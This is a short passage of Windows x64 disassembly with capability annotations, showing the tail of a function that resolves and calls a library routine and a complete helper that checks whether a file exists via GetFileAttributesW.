call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x140005892
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, sil
mov rbx, qword [rsp + 0x870]
add rsp, 0x840
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400058ac
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400058ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1400058ca
xor eax, eax
jmp 0x1400058cf
mov eax, 1
add rsp, 0x28
ret